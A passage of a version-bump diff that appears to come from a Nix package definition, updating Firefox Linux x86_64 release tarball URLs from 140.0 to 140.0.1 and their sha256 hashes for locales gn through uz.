+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/gn/firefox-140.0.1.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "383fd396af8bed91630f57957bdc4a32d7823d2f11aada20da4faa327b0d9d06";
+      sha256 = "ada99ec81518331833b225bd4d10aca3476f688872fc737bcfee9e2779653c83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gu-IN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/gu-IN/firefox-140.0.1.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "f96beb7adad112dd44fd17987eda338f380d81d6ada43bb3314f45b17e108de9";
+      sha256 = "792e73559cd4fa55bf6e1d805b212a2326df268d8fb851d17bc984292fe89232";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/he/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/he/firefox-140.0.1.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "091ca28870c0c7d4a885ef4984a33da727776ec67407708a1865bd3da5c1f1e6";
+      sha256 = "b1f7488a0ef829883d6a4c22c14ee67a4d9d504c962b4202d5b515c3a8814bd1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hi-IN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/hi-IN/firefox-140.0.1.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "0015818d803ad2d7057c6bbbbaac851c5af4f444b54ddf84e0f3922c42124922";
+      sha256 = "782a827721ae1b36cb5fc65127bebf890d09e6bd25215c134b69e8e564c6524e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/hr/firefox-140.0.1.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "23153918ffe5fbba01b7fcd9678344f01ed173df05098ed8f4748f0e952282c6";
+      sha256 = "bf84dedcb95a10a6c1c03ff3e2c7566f40d5f4644259004d6d337ea1c2e838cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hsb/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/hsb/firefox-140.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "1d02b4ac6a84c19aaf704b968ebea63362a1832071f06d8bc3c971c1fcc78675";
+      sha256 = "a5853b83c3712428bb1aeb1957c1f14a977327b6b2c9aed17cb0afb4df095a8b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hu/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/hu/firefox-140.0.1.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "46f8e6432511825872c135f9c4a28357b5f6be71fb9a402cf74d4c563ab83c4c";
+      sha256 = "e743a640439e08ffa4c0841fbda232fc9983c3f7bd5e26fdae3e772b18c2d34f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hy-AM/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/hy-AM/firefox-140.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "225bd4a5220c444e2cadf9534e4f029dbd243f1807a75099ca52cc2ca9433876";
+      sha256 = "6626d4dbe3d8e1040f1011f123e5eaf2a466e28feb3366f4ff139b8498ab1546";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ia/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ia/firefox-140.0.1.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "7186d41c11410355c485a63c93c26db5be53ac4809c3f8b97751ba50ce719365";
+      sha256 = "04b4976426e32e507037f9324b30683028e11d9e44d99b094c04bf0679cef709";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/id/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/id/firefox-140.0.1.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "f02092fc917e28764c3ae7de11f710105f2333e06553399775e7dce443027c11";
+      sha256 = "dd5ef79b8d2cf86ee3177b803b5ad0e4382f81b9592aa88fe2ad001a8523df81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/is/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/is/firefox-140.0.1.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "2b58ae0c0a4deb82ccac32b9099b99e1f33fdea1653c9428f7bdb22ea6359a43";
+      sha256 = "adef304e916ea3e0d77e6e792052ce34bf7361d517b211cc9b13e74c504ec66e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/it/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/it/firefox-140.0.1.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "7fe96baa0b96be453da1726ceb4e61e6094bd0555f7613588586faac6193ede9";
+      sha256 = "5767277059cbe3e5b2d2d096f165e424fa142c65e0f0ccdc91d5ec9e0bd15a74";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ja/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ja/firefox-140.0.1.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "ce168d6816fa268761cbc40e5986b7585d0a7d934c04007c75b6d7e0ceaa8049";
+      sha256 = "105d5b14c7c183ca51c411ef4321690175542c0267d95bb9ce4401e7490fb6d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ka/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ka/firefox-140.0.1.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "52c7f357775a89a31b1296683cbd3f108d7078273361c9db233e7fb81f1ab30a";
+      sha256 = "01e4fac64480fc34bd46634d185c40e2c720d9d4223cf693362a7106876e0708";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/kab/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/kab/firefox-140.0.1.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "7ab9d13435816a8e31c380c3f7e3e2d8b7d0a5ae8ad113c047992fcce7b3ed0d";
+      sha256 = "91d920b8a77426d0bf7cc58a4b97fc4f4bd76bd453500b7162029b8710a13a60";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/kk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/kk/firefox-140.0.1.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "faeaba4ddd7c4f47535dec8ea2b1fe1d551024559331e7281a542a1440e235d3";
+      sha256 = "370c5591dff00f7e97452fcc351ec81d376341335928f7b86bbdae15358f8d83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/km/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/km/firefox-140.0.1.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "186844b2cc48a1123f6ed8940debd0a3682200977b074d42ca12caa7dd9c4a98";
+      sha256 = "7f230bca1b4de308f27c76fbcabca9e73e6b23abdf9230db565490e1f1a99d8a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/kn/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/kn/firefox-140.0.1.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "02e8d601cdc803b5c811448642a11427b99e3aa95049b0930a4e04bc2fcc2056";
+      sha256 = "b279278917ba7d4c2b8ac17cbf7bc154732ae01779df2bbfbc06bdc7ae829430";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ko/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ko/firefox-140.0.1.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "63191dd6dd2d87fc4396f30dcfc558de43b21d7b2d5e0340615978e45e428120";
+      sha256 = "dc361845d7b260e7bf704210ca297e7472a8ba9d53bc51f1a2d92ab7761ea59f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/lij/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/lij/firefox-140.0.1.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "e4651aee6e4fa16d6588ba622a076e4f666dc72aa24cceec1205355098a0418e";
+      sha256 = "70369cb8e9e3ec79937722d2c43ec147e8788de3dc90f32c811e6799b85be77b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/lt/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/lt/firefox-140.0.1.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "9fa31c718110f2f0e8796381ee5597eb470789f7efd29794a24421c0eadd33e2";
+      sha256 = "325892dc2807acfb517696b3afa103b54d7464527ca87f6191f1b15711590334";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/lv/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/lv/firefox-140.0.1.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "4df334ded6dd45fbfb851c1f7e1ddcd32d9f18d9f0c7de854cdbac8f30b537fc";
+      sha256 = "ef104f7e5207549b6ee6f47c16af9b1befac1fdbc29cc9b9ef36ec282cd95a04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/mk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/mk/firefox-140.0.1.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "76469e46b1a5f96ed2d3f5ffc7e04b8091b19d76991b92470b4e6a1dbbde9361";
+      sha256 = "8a221dd0e42a85a5d2c3ec5ea372fd3a6895a033c4ce6ddc7cd656f463baf482";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/mr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/mr/firefox-140.0.1.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "c9bec0c7ffe836d68f457ea051d486ef8d820935c9e56b0e3b051e587c291ff2";
+      sha256 = "c851f103d73c7275864b393cb1d60a147fee22cddf9ab2ab185e380c6427d6da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ms/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ms/firefox-140.0.1.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "f86e7cc3cd6b7354be0e0937492bea873c3ebe266b11a57ebcf78e5e2e0c3d81";
+      sha256 = "f18c4b70d417294779aa4c4e69b99e4ecf65eb911d27e1c6118280b0a0f4ef99";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/my/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/my/firefox-140.0.1.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "1c022a0b6833cefa4b1b86dbce08ef8d19c3f4cbd338838ea92e6d36e441d632";
+      sha256 = "2bf5b950256022d46e25bb8f4c4c7b6df31e65f6a6470372444f00e4da178d50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/nb-NO/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/nb-NO/firefox-140.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "cc50663022fccebdc2913d51b4dbd15296b092bcd77de05587a25201c23a18ec";
+      sha256 = "019532db854cb65ef0cb4e5a3c894f02621ef590abec033c5a880257ac1e5eac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ne-NP/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ne-NP/firefox-140.0.1.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "376e34a8162314fee8681da63cf0fb32ec2293d562ff5e98e591b08147290d29";
+      sha256 = "b8afa6d673cbb0a957251a0e7c30d5790fef5e19bf53ca008faadbc2c014128e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/nl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/nl/firefox-140.0.1.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "7de2bd58b3360efa3de7c4e0763c1ca1c4ee6f99cc30297b69b9cee2fac62dad";
+      sha256 = "1d347f6b8e8c73e1bc513b58f846d809cbd80ea0c21430c5a866d1197573afa5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/nn-NO/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/nn-NO/firefox-140.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "9c686e8981c259ce228640c3553da8c239a4aa487ea0105cbb9507ca1dde4099";
+      sha256 = "be5a86b8cfc902d856ef1c5194f7c27f7b4d19acd1b8b1b18112c88578c09030";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/oc/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/oc/firefox-140.0.1.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "17c751b0cb7555f8627e5813332e548cc2477168163cfa0ce2c8617baa11918a";
+      sha256 = "04039efbbc1b4697a0788ef08aa8afdf23580c6ee5d100be1051c27d680e7d73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pa-IN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/pa-IN/firefox-140.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "abf85546602843db28fa42736dbd62023905ae079ccfac51ccefda44b861d6e3";
+      sha256 = "0991c31ae89a10dcee38090412ab39e38a9c15cd07bde14f215d26de23749ec8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/pl/firefox-140.0.1.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "42d814bcc07efbcd1fb2b9dafb98fa0caf3607ca79da45beec2f4acbbb452dbe";
+      sha256 = "605030e4757b8a8af5bd7b674bf47911a1b90b0707afe646001e6fbb534c34b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pt-BR/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/pt-BR/firefox-140.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "60770d39dec007279d6396838a3fadb9a09dc5cb704548a26c83c5220c0e9b94";
+      sha256 = "bbc373ce610c28c75200ea59ec07e9e4a8bbe86dcc879a34453d763278a3cdda";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pt-PT/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/pt-PT/firefox-140.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "9984d4087c4e770d08edbd0e8e3899e25bb2567b165f9697ce55588ccbbca6ab";
+      sha256 = "110bc0276e09cc41e4bae4c197f349a89464bb81b21fd6a8fbbb83925337fca3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/rm/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/rm/firefox-140.0.1.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "e127b9d57291b04bdd09b9bd3965d0dd9932726554980c50b37e59e8119e9ca5";
+      sha256 = "00c03839d6945dd9051ce4d47a7eb1ff3f3bfc95506a4a2984ec7b363729f0d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ro/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ro/firefox-140.0.1.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "a52cb846b9bf0640022d9c7cdf225bd8f6e7391cb3de3d144fb7e72b6cd7c3af";
+      sha256 = "a5eccee0999b4417187a5bcdfd825d7f583546105ee846b1ff2eefd2f416b19b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ru/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ru/firefox-140.0.1.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "b350b95ebb2474018b5ad2a7ed8c3a24797b93a344fa4e0c5b7c36faacd8d925";
+      sha256 = "ebef4d919c75f97aa33efc28b00242b33235c82a3e1121189804c793387e3e63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sat/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sat/firefox-140.0.1.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "b45bb2bb42ab1a7ddef59aa8d4e7127fa4119cbc3f2c991fa66d56fc1a3bd80e";
+      sha256 = "db98176a3860e4c04ecfa0ebbaf2162d5f51f04b5cd1cc89b40d87f0cb5c3aec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sc/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sc/firefox-140.0.1.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "8c2b9298aee3939859a7e16796e96453e302448c50ec113cf0b83a8cb3f631e6";
+      sha256 = "eba74fc0f6a73ffb345a97bbddece9717cab715fa99e9db0e93d0b73e5806645";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sco/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sco/firefox-140.0.1.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "9ea7106a5014e3bc3eaeccc120ed3a4e288f20c935ecd6973c6e624777e0d919";
+      sha256 = "425a274889826f6687ff98e02843f97045ddd39a5c061babf9871ffb5203bead";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/si/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/si/firefox-140.0.1.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "959fc2f8aa6e471a23d63bd4ca319583de066c0ccc338968fcbc446653d4050d";
+      sha256 = "ea0652c77a53cdb9c1ad74aacc460ddf224dc4adc84defaa73daf86bbebd7477";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sk/firefox-140.0.1.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "482a7fe99df4cb564ac0b87700758cf57ae66ee0ce763102b9b3e433f0fae203";
+      sha256 = "021436797c02cfa7cbb95a2396ebf5b8f4926e6df70c243b3a86e10ceb65a345";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/skr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/skr/firefox-140.0.1.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "371f21950abe4bb4cc5b6d19a3aed37899791fd546c08a7c35a75a3d018ad2d1";
+      sha256 = "1e465afebcc4980b1d0ba78cebe96dfb397bdeca73c59e6ba88cb22037abe658";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sl/firefox-140.0.1.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "2d66e0f786a0950d5f7ebf13984ea449c0c279946b7853514d27b10c3ec8564c";
+      sha256 = "166bf313e453bc83869a935e456281947c393557459b6516f7c8f1534e95581e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/son/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/son/firefox-140.0.1.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "640c413f78778af96a8e00e7055a2e2461f96429614626fead6350a008bdab9f";
+      sha256 = "2785181db1161e7fba0cd638b5722c15adf6c4f718a9719a027fa9ff1fbaed1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sq/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sq/firefox-140.0.1.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "96aba308c3bc6f60440cf6ae9bfcbd5cc3619caf806b75d61e8281e06f2c3590";
+      sha256 = "6d88c6a5db7b6131e076903658f28d6a8f4ab55d20c6b2ec5b06e550d68d3f1e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sr/firefox-140.0.1.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "a0eac5cd18d82350ba8ee8d98498a3bd6b83223269257e89d7ef72c625891252";
+      sha256 = "4bb3b9e96fe5ab8da7cd59a8b8938134fc657a3449d1372d5e557d2c96d0917a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sv-SE/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sv-SE/firefox-140.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "88443bae7fb75700d5ebd1dde43e87f3b952950f4dd1f66d72b0b8642b5263be";
+      sha256 = "bb2b76e1aea430dd6bf456de4d94bb4468b5270036f34d29ac891796724c1bb8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/szl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/szl/firefox-140.0.1.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "3dc8fbd415b091f83931f3c1ee100d252fa98cf23bdffd5f7a5f3128890f4873";
+      sha256 = "62de8392a40473209eaa5b22199cdd00175e234b83d387d9dc12ccbcd61d1dc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ta/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ta/firefox-140.0.1.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "c93f8cf18af8ce43f823d9d3e335a990955fd290d56ae05ba0cbd86ff7057825";
+      sha256 = "6c0ac342120edc948f016dc596324fc62ddba2d978620798065cdb43f5d918a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/te/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/te/firefox-140.0.1.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "39467355eb95cf8e16792859b4127bd891df66741aa393ec18959a86f3607817";
+      sha256 = "bcfe180773867ef93797058d6a7edc044c0fbc3b013382146178aa85af6c1c93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/tg/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/tg/firefox-140.0.1.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "5883e551dae197305b62afba282d6b47687fc39b2eb495a2f6245d58490765fa";
+      sha256 = "889b071f6b7cf44fcb678471e871d02b1732871fc59d67d0e308be81fd71363e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/th/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/th/firefox-140.0.1.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "806451bd3a77b18aa57507670d2953488106f3574ba515fa1a957997d53b94e8";
+      sha256 = "06880569da7447dafe0f2d1e64d6c39e4613e9b4af5a438745a313b7bdb7ad7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/tl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/tl/firefox-140.0.1.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "244a31b6015f93b9f17058443f3ca61417cd786c80d8950aec8cef8bbf946832";
+      sha256 = "a9bf47b664e7defcd03523f02edf9f64f467acda091c815a69ce5942b8469733";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/tr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/tr/firefox-140.0.1.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "f8ec9d2ff12f1d4ce85ad93900751e2635c773c66e5e64919703e51d301ee481";
+      sha256 = "1c17ba73c4fbf7b002df276d3f457cc7fb9d33ff1b7be6e68ea7021c40f0cfb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/trs/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/trs/firefox-140.0.1.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "b9f19165e278665e92f2424b5ba99cf5d3cd8e87b6a6c0792e34997b54bb9fb7";
+      sha256 = "12c5307934772a079212b12d43c1a21366935f1ccfe0b94845b47014ed12f0e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/uk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/uk/firefox-140.0.1.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "999438a1c8b0dd17525823a84232161da0cdf3ecaf0d9e13871228a2cc299b38";
+      sha256 = "a7881fd3e1a4c09b8eecd0577009d69f95632a9cfb0cfe49d3b980ec67749664";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ur/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ur/firefox-140.0.1.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "354456f9a98f1d90cf32288847398ab8d17a2afd5a859f7f0e0778ea63e9a4af";
+      sha256 = "11f3a8e53a9fca0cca095adc9c360d78b7e233942501ef2421855e03f17106bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/uz/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/uz/firefox-140.0.1.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
